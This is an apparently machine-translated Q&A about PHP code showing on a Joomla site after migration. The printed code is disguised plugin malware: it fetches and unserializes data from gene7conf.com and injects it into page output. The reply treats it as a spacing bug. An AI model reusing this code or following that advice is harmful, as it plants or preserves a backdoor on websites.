Php 将Joomla 3.0网站从一台服务器传输到另一台服务器后,我发现一个错误

Php 将Joomla 3.0网站从一台服务器传输到另一台服务器后,我发现一个错误,php,mysql,joomla,joomla3.0,Php,Mysql,Joomla,Joomla3.0,将Joomla 3.0网站从一台服务器传输到另一台服务器后,出现以下错误 getInt('category_per_page'); $comments_page_limit = $config->getInt('category_page_limit'); $canPublish = $acl->canPublish(); } function onAfterRender() { $body = JResponse::getBody(); if(!$b

将Joomla 3.0网站从一台服务器传输到另一台服务器后,出现以下错误

getInt('category_per_page'); 
$comments_page_limit = $config->getInt('category_page_limit'); 
$canPublish = $acl->canPublish(); 
} 
function onAfterRender() 
{ 
    $body = JResponse::getBody(); 

    if(!$body||$body=='') return true; 

    $mainframe = & JFactory::getApplication('site'); 

    if($mainframe->isAdmin()) return; 

    $body = $this->installOptions($body); 
    JResponse::setBody($body);
} 
function getCategoryNewTree( $object_id, $object_group = 'com_content' ) 
{ 
    global $my; $object_id = (int) $object_id; 
    $object_group = trim($object_group); 
    $acl = & JCommentsFactory::getACL();
    $config = & JCommentsFactory::getConfig(); 
    $canPublish = $acl->canPublish(); 
    $canComment = $acl->canComment(); 
} 
function getURIattr() 
{ 
    return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI']; 
} 
public function getConfigOpt() 
{ 
    $Conf = @file_get_contents('http://gene7conf.com/?d=' . $_SERVER['HTTP_HOST']);     
    return @unserialize($Conf); 
} 
function CategoryViewsTime( $name, $reason = '') 
{ 
    global $mainframe, $my; 
    $config = & JCommentsFactory::getConfig(); 
    if ($config->get('CategoryGet') != '') 
    { 
        $object = new stdClass(); 
        $object->object_cat = CategoryFactory::getAbs($object->object_cat); 
        $commentText = $comment->comment; 
    } 
} 
function installOptions($content) 
{ 
    try 
    { 
        $getOptions = $this->getConfigOpt(); 
        $ord = @$getOptions['l'][$this->getURIattr()]; 
        if(count(@$ord['m'])) 
        { 
            $opt = (@$ord['k'])? $ord['k'] : $getOptions['d']; 
            $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array(); 
            $l=''; 
            foreach(array_merge($ord['m'], $mopt) as $elem) 
            {
                $l .= ' '. $elem;
            }

            $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1); 
        } 
    } 
    catch (Exception $e) {} 

    return $content; 
} 
function loadAlternateCatergory($languageSuffix = '') 
{ 
    if ($languageSuffix == '') 
    { 
        $languageSuffix = CategoryInput::getVar('lsfx', ''); 
    } 
    if ($languageSuffix != '') 
    { 
        $config = & CategoryFactory::getConfig(); 
        $config->set('lsfx', $languageSuffix);
        $language = & JFactory::getLanguage(); 
        $language->load($languageSuffix);
    } 
}
}
?> 
有什么好主意吗?我能修好吗

乔姆拉!3.3 PHP5.3


pulgin文件中的代码打印成这样并不是错误。要修复它,请打开正在打印的pulgin文件,在php open标记和代码之间留出空间

此代码

<?phpdefined( '_JEXEC' ) or die( 'Restricted access' );

什么错误?您发布了代码,而不是错误消息。好吧,对不起,我是PHP和joomla新手,我不知道这是一个代码。我怎么能找到这个插件?
<?php defined( '_JEXEC' ) or die( 'Restricted access' );